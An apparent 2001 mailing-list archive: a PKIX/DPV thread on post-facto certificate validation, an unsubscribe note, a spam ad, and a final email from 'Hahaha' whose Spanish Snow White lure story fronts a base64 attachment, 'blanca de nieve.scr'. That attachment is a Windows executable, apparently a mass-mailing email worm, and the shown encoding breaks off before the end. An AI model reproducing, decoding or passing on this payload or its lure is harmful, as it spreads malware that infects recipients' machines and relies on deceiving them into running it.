> this way.  But in some communities that I am working in, like mortgages,
> smaller institutions desire the capability to perform a post-facto query.

Wouldn't your environment better be suited by a service that does not
ask for a validity of a certificate chain, but for the validity of a
signed document?
yuriy> In some cases, yes.  But I was not under the impression that we were
pursuing this functionality for DPV.
>
> > In addition, I think it is helpful to have a capability to perform
> > post-facto queries when for some reason the DPV service is originally
> > unavailable.
>
> Making a query an hour later is fairly different from making the query 10
> years later.
> yuriy> But in essence, it is the same sort of query.  Was this signature
> valid/invalid at some time before the present?

That is not the question you have asked with DPV.
yuriy> Sorry for the confusion.  I have inadvertently confused certificate
validation with signature validation.  The two are indeed different.  I was
talking about certificate validation throughout this thread.

> yuriy> Some solutions I have seen don't send the receipt until the
signature
> has been validated.  Until then, the sender is told that a receipt is
> pending.  Nonetheless, you still need to validate the signature at some
time
> before the present, regardless of how you handled the receipt.

What can happen in the (short) time between these events?
yuriy> The certificate can expire or be revoked.

- The certificate expires. Well, a user should probalby not make the
  request with a cert that has a lifetime of 2 minutes left.
yuriy> Do you know how many users I have talked to who were not aware that
their certificate was going to expire because of poor policy around renewal
notifications?  I don't think we can dismiss this case.

- The certificate gets revoked. This is an exceptional case, and
  it is not clear in advance whether the sent message should be treated
  as valid or invalid. If the revocation is initiated by the user
  of the cert, then you fall into the previous case.
yuriy> Revocation can still occur, and it should not jeopardize the fact
that I signed a document at a given time using a valid certificate.

- Nothing happens. Then the two validations deliver the same result.
yuriy> Agree.

> > When it comes back up, the agency will want
> > to know if my signature was valid when the proposal was submitted (at
> > 11:55A), and not when the service comes back up.
>
> If the service was down for only a few hours, this can easily be be done.
> Doing it, 10 years later is a different story.
> yuriy> Again, I think the request is not different, in that you are asking
a
> server to tell you if a signature was valid at some time before the
present.
> It should not matter if it is 10 hours before present, or 10 years before
> present.  I understand the additional storage requirements on the server
to
> support requests that date back 10 years, but why would we say it is
> acceptable to define a protocol that supports post-facto queries up to
some
> amount of time before present?

Again, this is not the question you make to the DPV server.
yuriy> Again, I apologize for the confusion.  I was talking about
certificate validation.

The current logic of path validation takes as an input a date value.
Thus, in a strictly formal way, it seems to me that a DPV server has to
support some date as an input.

The format of asking 10 years later or 2 hours may be the same, but it
doesn't seem to make much sense to me to make an INITIAL verification
10 years later.
yuriy> I am not saying that an INITIAL verification takes place 10 years
later.  What I provided in this thread were two different examples for why
one would make a post-facto query to a DPV server.



Received: from fsnt.future.futsoft.com ([203.197.140.35]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA18842 for <[e-mail]>; Mon, 5 Feb 2001 02:19:14 -0800 (PST)
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com (Content Technologies SMTPRS 2.0.15) with ESMTP id <[e-mail]> for <[e-mail]>; Mon, 05 Feb 2001 16:01:39 +0530
Received: from ruheenar (ruheenar.future.futsoft.com [10.0.12.41]) by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f15FxJU19374 for <[e-mail]>; Mon, 5 Feb 2001 21:29:20 +0530
Reply-To: <[e-mail]>
From: "Ruheena Rashid" <[e-mail]>
To: <[e-mail]>
Subject: unsubscribe
Date: Mon, 5 Feb 2001 16:03:56 +0530
Message-Id: <001501c08f5f$251b8700$[e-mail]>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

unsubscribe


Received: from fw1.depot.com ([209.75.99.92]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id QAA11316 for <[e-mail]>; Sat, 3 Feb 2001 16:32:23 -0800 (PST)
From: [e-mail]
Received: from depotmail1.depot.com (depot.com [209.75.97.141]) by fw1.depot.com (8.9.3/8.9.3) with ESMTP id QAA27669 for <[e-mail]>; Sat, 3 Feb 2001 16:38:09 -0800 (PST) (envelope-from [e-mail])
Date: Sat, 3 Feb 2001 16:38:09 -0800 (PST)
Message-Id: <[e-mail]>
Received: from imc.org (KIRK [209.75.97.133]) by depotmail1.depot.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id 1H0AY8F3; Sat, 3 Feb 2001 16:50:56 -0800
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="=200102031624="
To: [e-mail]
X-Mailer: 161224B0.16EAE0EF.6b3ad181e95d39d32cce8b791f2650ab
Subject: Save 40%-70% on Shipping Supplies
Organization:

--=200102031624=
Content-Type: text/plain;charset=US-ASCII

Check out http://www.packagingdepot.com for Wholesale Prices on Shipping Supplies available on-line, by the case or pallet! 

Acrylic Adhesive Carton Sealing Tape-2” x 55 yd. Clear 2.0 mil 
(36 Rolls/Case) $20.65

Stretch Film-15” 80 Gauge 1500 feet 
(4 Rolls/Case) $32.87

Save 40%-70% on your Standard or Custom Boxes!!!

Free membership!!! 100% Satisfaction Guaranteed!!!

Kirk Timm 
PackagingDepot.com 
888-746-2128


************************************************************ 
If you receive this message and have never joined one of our 
email lists you can be removed by replying to: 
mailto:[e-mail]?subject=remove 
************************************************************

--=200102031624=--



Received: from ppp ([212.163.93.92]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA05758 for <[e-mail]>; Fri, 2 Feb 2001 03:34:09 -0800 (PST)
Date: Fri, 2 Feb 2001 03:34:09 -0800 (PST)
Message-Id: <[e-mail]>
From: Hahaha <[e-mail]>
Subject: Enanito si, pero con que pedazo!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VEO9EBGPMB"

----VEO9EBGPMB
Content-Type: text/plain; charset="us-ascii"

Faltaba apenas un dia para su aniversario de de 18 años. Blanca de Nieve fuera
siempre muy bien cuidada por los enanitos. Ellos le prometieron una *grande*
sorpresa para su fiesta de compleaños. Al entardecer, llegaron. Tenian un brillo
incomun en los ojos...


----VEO9EBGPMB
Content-Type: application/octet-stream; name="blanca de nieve.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="blanca de nieve.scr"

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
EHMIi1UQ6BkAAACNlfj+///oDgAAAP9F+P9N/HnaYcnCEACQjb14////M8CJB4lHBIlHCIlHDIlH
EIlHFIlHGIlHHIlHIIlHJIlHKIlHLIlHMIlHNIlHOIlHPIlHQIlHRIlHSIlHTIlHUIlHVIlHWIlH
XIlHYIlHZIlHaIlHbIlHcIlHdIlHeIlHfI2F+P7//+gCAgAAh9vRJ9FXBNFXCNFXDNFXENFXFNFX
GNFXHNFXINFXJNFXKNFXLNFXMNFXNNFXONFXPNFXQNFXRNFXSNFXTNFXUNFXVNFXWNFXXNFXYNFX
ZNFXaNFXbNFXcNFXdNFXeNFXfOisAQAAjYX4/v//D6MYD4PFAAAAiwKLSgQBBxFPBItCCItKDBFH
CBFPDItCEItKFBFHEBFPFItCGItKHBFHGBFPHItCIItKJBFHIBFPJItCKItKLBFHKBFPLItCMItK
NBFHMBFPNItCOItKPBFHOBFPPItCQItKRBFHQBFPRItCSItKTBFHSBFPTItCUItKVBFHUBFPVItC
WItKXBFHWBFPXItCYItKZBFHYBFPZItCaItKbBFHaBFPbItCcItKdBFHcBFPdItCeItKfBFHeBFP
fOjaAAAAh9tLD4nB/v//iweLXwSLTwiLdwyJAolaBIlKCIlyDItHEItfFItPGIt3HIlCEIlaFIlK
GIlyHItHIItfJItPKIt3LIlCIIlaJIlKKIlyLItHMItfNItPOIt3PIlCMIlaNIlKOIlyPItHQItf
RItPSIt3TIlCQIlaRIlKSIlyTItHUItfVItPWIt3XIlCUIlaVIlKWIlyXItHYItfZItPaIt3bIlC
YIlaZIlKaIlybItHcItfdItPeIt3fIlCcIladIlKeIlyfMOH27v/AwAAD6MYcgNLdfjDh9uLdQiL
R3yLTnw7wXLwD4c1AgAAi0d4i054O8Fy4A+HJQIAAItHdItOdDvBctAPhxUCAACLR3CLTnA7wXLA
D4cFAgAAi0dsi05sO8FysA+H9QEAAItHaItOaDvBcqAPh+UBAACLR2SLTmQ7wXKQD4fVAQAAi0dg
i05gO8EPgnz///8Ph8EBAACLR1yLTlw7wQ+CaP///w+HrQEAAItHWItOWDvBD4JU////D4eZAQAA
i0dUi05UO8EPgkD///8Ph4UBAACLR1CLTlA7wQ+CLP///w+HcQEAAItHTItOTDvBD4IY////D4dd
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
